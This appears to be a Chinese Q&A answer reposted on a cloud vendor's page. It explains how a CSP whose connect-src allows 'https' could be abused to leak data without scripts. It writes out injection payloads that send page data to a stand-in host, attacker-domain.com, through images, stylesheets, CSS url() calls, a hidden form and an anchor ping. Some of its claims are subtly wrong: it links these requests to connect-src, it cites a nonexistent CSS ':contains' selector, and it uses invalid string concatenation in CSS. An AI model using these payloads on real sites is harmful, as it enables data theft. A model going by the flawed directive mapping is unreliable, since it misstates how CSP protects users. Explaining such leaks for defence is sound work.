You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

允许CSP的connect-src配置为'https'存在哪些安全隐患?

绕过script-src限制后利用connect-src发送数据的可能途径

以下是几种无需执行自定义JavaScript(避开你的nonce限制),却能借助connect-src规则发起数据传输的场景:

  • HTML内置标签的无脚本请求
    很多HTML元素无需JS就能发起GET请求,攻击者可将敏感数据编码进URL的查询参数、路径片段中,通过这些标签触发请求:

    • 图片标签:<img src="https://attacker-domain.com/leak?data=xxx">,浏览器会自动加载该资源,把数据带过去
    • 样式表/字体引入:<link rel="stylesheet" href="https://attacker-domain.com/leak?data=xxx"> 或 CSS中的@font-face { src: url(...) }
    • 媒体标签:<audio>、<video>的src属性同理,哪怕不播放,浏览器也会发起资源请求
  • 无脚本表单提交
    如果页面存在HTML注入漏洞(比如用户可控内容未被正确转义),攻击者可插入自动提交的表单:

    <form action="https://attacker-domain.com/collect" method="POST">
      <input type="hidden" name="secret" value="页面敏感数据">
      <input type="submit" style="display:none">
    </form>
    

    结合autocomplete特性或诱导用户误触,就能在无JS的情况下把数据POST到目标地址,只要connect-src允许该域名。

  • CSS驱动的数据泄露
    利用CSS特性可间接发起请求或推断页面内容:

    • 通过@import或background-image的URL嵌入数据,比如background: url('https://attacker-domain.com/leak?data=' + 敏感值)
    • 更隐蔽的方式是利用CSS选择器匹配页面内容,比如当页面包含特定敏感文本时,加载特定URL,攻击者服务器通过请求差异推断数据(比如匹配#secret:contains("admin")时加载/leak/admin)
  • 浏览器原生的ping属性
    HTML的<a>标签支持ping属性,用户点击链接时,浏览器会向指定地址发送一个POST请求,包含点击链接的信息。攻击者可注入带ping属性的链接:

    <a href="#" ping="https://attacker-domain.com/log?data=xxx">点击查看</a>
    

    诱导用户点击后,就能通过ping请求泄露数据,只要目标域名在connect-src允许范围内。

  • 特权进程的间接传输
    除了你提到的浏览器扩展,部分浏览器内置特权功能、已授权的老旧插件(如NPAPI插件)不受页面CSP限制,可直接发起请求并传输数据,不过这类场景现在已较为少见。

内容的提问来源于stack exchange,提问作者Espen

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.12 14:54:50